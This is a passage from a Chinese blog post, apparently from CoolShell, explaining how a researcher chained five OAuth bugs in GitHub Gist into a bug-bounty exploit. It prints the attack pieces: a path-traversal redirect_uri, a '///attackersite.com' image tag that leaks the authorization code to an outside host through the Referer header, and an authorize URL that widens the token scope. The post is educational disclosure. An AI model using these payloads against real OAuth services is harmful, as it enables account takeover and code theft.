<p>你想一下，如果有人可以控制这个redirect_uri这个参数，那么，你就可以让其跳转到别的网页上（可能会是个有恶意的网页）。如果你觉得跳转到别的网页上也无所谓，那么你就错了。别忘了，当你对这个第三方的应用授权通过后，服务方会给第三方应用返回一个授权token，这个token会被加到那个redirect_uri参数后面然后跳转回去，如果这个redirect_uri被别有用心的人改一个恶意的网址后，这个token也就被转过去了，于是授权token也就被泄漏过去了。</p>
<p>知道了这一切，我们就可以理解Egor提的那5个bug是什么意思了。</p>
<h4>第一个Bug — 没有检查重定向URL中的/../</h4>
<p>首先，我们通过<a href="https://developer.github.com/v3/oauth/#redirect-urls" target="_blank">Github的 redirect_uri 的说明文档</a>我们可以看到这样的说明：</p>
<pre data-enlighter-language="html" class="EnlighterJSRAW">如果 CALLBACK URL是: http://example.com/path

GOOD: https://example.com/path
GOOD: http://example.com/path/subdir/other

BAD: http://example.com/bar
BAD: http://example.com/
BAD: http://example.com:8080/path
BAD: http://oauth.example.com:8080/path
BAD: http://example.org</pre>
<p>而Github对于redirect_uri做了限制，要求只能跳回到 https://gist.github.com/auth/github/callback/，也就是说，域名是gist.github.com，目录是/auth/github/callback/，服务器端做了这个限制，看似很安全了。</p>
<p>但是，Egor发现，Github的服务器端并没有验证.. /../../这样的情况。</p>
<p>于是，Egor相当于构造了一个下面这样的Redirect URL：</p>
<pre style="font-size: 10pt;">https://gist.github.com/auth/github/callback/../../../homakov/8820324?code=CODE</pre>
<p>于是上面的URL就相当于：</p>
<pre style="font-size: 10pt;">https://gist.github.com/homakov/8820324?code=CODE</pre>
<p>你可以看到，认证后的跳转网页转到了别的地方去（并非是github限制的地方）——我们知道Github的gist虽然是给你分享代码片段的，但是也可以用来定制自己的东西的（比如markdown），这个gist的网页当然是被Egor所控制的。</p>
<h4>第二个BUG — 没有校验token</h4>
<p>第一个bug其实并没有什么，如果服务器端要校验一下token是否和之前生成的token的redirect_uri一模一样，只要服务器做了这个验证，第一个bug完全没有什么用处，但是，github的服务端并没有验证。</p>
<p>这就是第二个bug，于是第一个和第二个bug组合起来成了一个相当有威力的安全漏洞。</p>
<p>也就是说，token的生成要考虑redirect_uri，这样，当URL跳转的时候，会把redirect_uri和token带到跳转页面（这里的跳转页面还是github自己的），跳转页面的服务端程序要用redirect_uri来生成一个token，看看是不是和传来的token是一个样的。这就是所谓的对URL进行签名——以保证URL的不被人篡改。一般来说，对URL签名和对签名验证的因子包括，源IP，服务器时间截，session，或是再加个salt什么的。</p>
<h4>第三个BUG — 注入跨站图片</h4>
<p>现在，redirect_uri带着code，安全顺利地跳到了Egor构造的网页上：</p>
<pre>https://gist.github.com/homakov/8820324?code=CODE</pre>
<p>但是，这个是gist的网页，你无法在这个页面上运行前端（Javascript）或后端程序（Ruby——Github是Ruby做的），现在的问题是我们怎么得到那个code，因为那个code虽然后带到了我的网页上来，但那个网页还是github和用户自己的环境。</p>
<p>到这里，一般来说，黑客会在这个页面上放一个诸如下面的一个链接，来引诱用户点击，：</p>
<p>&lt;a href=http://hack.you.com/&gt;私人照片&lt;/a&gt;</p>
<p>这样，当页面跳转到黑客的网站上来后，你之前的网页上的网址会被加在http头里的 Refere 参数里，这样，我就可以得到你的token了。</p>
<p>但是，在gist上放个链接还要用户去点一下，这个太影响“用户体验”了，最好能嵌入点外部的东西。gist上可以嵌入外站的图片，但是github的开发人员并非等闲之辈，对于外站的图片，其统统会把这些图片的url代理成github自己的url，所以，你很难搞定。</p>
<p>不过，我们可以用一个很诡异的技巧：</p>
<p style="text-align: center;"><b>&lt;img src=&#8221;///attackersite.com&#8221;&gt;</b></p>
<p>这个是什么玩意？这个是个URL的相对路径。但是为什么会有三个///呢？呵呵。</p>
<h5>像程序员一样的思考</h5>
<p>这个时候，我们需要以“程序员的编程思维”来思考问题——如果你是程序员，你会怎么写校验URL的程序？你一定会想到使用正则表达式，或是用程序来匹配URL中的一些pattern。于是，</p>
<ul>
<li>对于绝对路径：你会匹配两个//，后面的可能会是 user@host.com（user@是可选的），然后可能会有:&lt;n&gt;端口号，然后是/，后面是服务器的路径，再往后面应该是?后面带一些参数了。</li>
</ul>
<ul>
<li>对于相对路径：就没有绝对路径那么复杂了。就是些 .. 和 /再加上?和一些参数。</li>
</ul>
<p>好了，如果coolshell.cn网页中的&lt;img src=&gt;或&lt;a href=&gt;中用到的相对路径是 /host.com，那么浏览器会解释成：https://coolshell.cn/host.com，如果是///host.com，那么就应该被浏览器解释成 https://coolshell.cn///host.com。</p>
<p>但是，Chrome和Firefox，会把///host.com当成绝对路径，因为其正确匹配了绝对路径的scheme。如果你正在用Chrome/Firefox看这篇文章 ，你可以看看下面的连接（源码如下）：</p>
<p style="text-align: center;"><a href="///www.google.com" target="_blank">CoolShell Test</a></p>
<p><code data-enlighter-language="html" class="EnlighterJSRAW">&lt;a href=&quot;///www.google.com&quot;&gt;CoolShell Test&lt;/a&gt;</code></p>
<p>关键是，这个Chrome/Firefox的问题被标记成了Won&#8217;t Fix，我勒个去，基本上来说，后台的程序也有可能有这样的问题，对于Perl，Python，Ruby，Node.js，PHP带的URL检查的函数库都有这样的问题。</p>
<p>于是，我们就可以使用这样的方式给gist注入了一个第三方站点的图片（github的服务端没有察觉到（因为我们前面说过大多数语言的URL检查库都会被 Bypass了），但是浏览器端把这个链接解释到了第三方的站点上），于是请求这个图片的http头中的refere 中包含用户当前页面的URL，也包含了用户授权的code。</p>
<p>到这里，黑客Egor已经拿到用户gist的权限并可以修改或查看用户私用的gist了。但是作者并没有满足，他想要的更多。</p>
<h4>第四个bug &#8211; Gist把github_token放在了cookie里</h4>
<p>于是Egor在用户的cookie里找到了 github_token</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-11030" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png" width="395" height="47" srcset="https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie.png 395w, https://coolshell.cn/wp-content/uploads/2014/02/gist_cookie-300x35.png 300w" sizes="(max-width: 395px) 100vw, 395px" /></p>
<p>但是这个token没什么用，因为授权的Scope只有gists。但是，这个token不应该放在用户端的cookie里，本身就是一个安全事故，这个东西只能放在服务端（关于Web开发中的安全事项，可以看看这篇文章《<a title="Web开发中需要了解的东西" href="https://coolshell.cn/articles/6043.html" target="_blank">Web开发中的你需要了解的东西</a>》）。</p>
<p>于是，Egor只能另谋出路。</p>
<h4>第五个Bug &#8211; 自动给gist授权</h4>
<p>因为gist是github自家的，Egor所以估计github想做得简单一点，当用户访问gist的时候，不会出弹出一个OAuth的页面来让用户授权，不然，用户就会很诧异，都是你们自家的东西，还要授权？所以，Egor猜测github应该是对gist做了自动授权，于是，Egor搞了这样的一个URL（注意其中的 redirect_uri中的scope ）</p>
<p style="word-wrap: break-word; padding: 10px 20px 20px 30px; background-color: #eee;">https://github.com/login/oauth/authorize?client_id=7e0a3cd836d3e544dbd9&amp;redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Fgithub%<b>2Fcallback/../../../homakov/8820324</b>&amp;response_type=code&amp;<b>scope=repo,gists,user,delete_repo,notifications</b></p>
<p>于是，这个redirect-uri不但帮黑客拿到了访问gist的token，而且还把授权token的scope扩大到了用户的代码库等其它权限。于是你就可以黑入用户的私有代码区了。</p>
<h4> 其它 &amp; 感想</h4>
<p>于是，作者从 <a href="https://bounty.github.com/">Github Security Bug Bounty</a> 拿到了USD $4,000的奖励！Egor一共花了从下午2点到6点一共4个小时找到了这些Bug，平均一小时1000美刀。Egor还很得瑟的说，如果Github请他做安全顾问，他只收一小时USD $400刀，这4个小时也就$1,600。呵呵。大家看看，这是多么有效率的赚钱方式。</p>
<p>下图是Github上的赏金猎手的排行榜（<a href="https://bounty.github.com/index.html#leaderboard" target="_blank">https://bounty.github.com/index.html#leaderboard</a>）你可以上去挨个看看他们找到的问题，你会发现好些安全问题都很小，有些只能说是不是很规范的问题，Github都赏了几百刀。我查看了一下github的赏金政策，github赏金至少100刀，到5000刀不等。</p>
<p style="text-align: center;"><img decoding="async" loading="lazy" class="aligncenter  wp-image-11053" alt="" src="https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg" width="580" height="478" srcset="https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard.jpg 716w, https://coolshell.cn/wp-content/uploads/2014/02/github_bounty_leaderboard-300x247.jpg 300w" sizes="(max-width: 580px) 100vw, 580px" /></p>
<p>让我们扪心自问一下，我们花了多少时间在玩那些“红包游戏”，而又搞到了多少红包？人家4个小时找了5个bug，挣了$4000美金。<strong>老天给了你我一样的时间，我们用来抽几块钱的红包，人家用自己的技能来挣奖金。这就是人和人的差距。这就是所谓的效率</strong>——你可以移步看看我写的《<a title="加班与效率" href="https://coolshell.cn/articles/10217.html" target="_blank">加班与效率</a>》</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li><li ><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg" alt="你会做Web上的用户登录功能吗？" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5353.html" class="wp_rp_title">你会做Web上的用户登录功能吗？</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/11021.html">从“黑掉Github”学Web安全开发</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/11021.html/feed</wfw:commentRss>
			<slash:comments>61</slash:comments>
		
		
			</item>
	</channel>
</rss>
